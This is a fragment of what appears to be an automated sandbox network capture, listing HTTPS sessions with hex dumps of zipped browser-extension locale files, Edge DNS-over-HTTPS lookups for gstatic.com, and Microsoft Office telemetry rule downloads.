2024-11-26 15:31:42 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-26 15:31:42 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-26 15:31:42 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-26 15:31:43 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-26 15:31:43 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-26 15:31:43 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-26 15:31:43 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-26 15:31:43 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49847	162.159.61.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed4f2b73423d-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d2 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49848	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed5009dd43c8-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&Pc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153142Z-174f7845968px8v7hC1EWR08ng0000000vwg00000000c782 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153142Z-174f78459685m244hC1EWRgp2c0000000ve000000000fgka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153143Z-174f7845968jrjrxhC1EWRmmrs0000000vqg00000000ksda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:43 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153143Z-174f7845968pf68xhC1EWRr4h80000000vy0000000005m4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:43 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49851	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed569f1ade9b-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49853	162.159.61.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
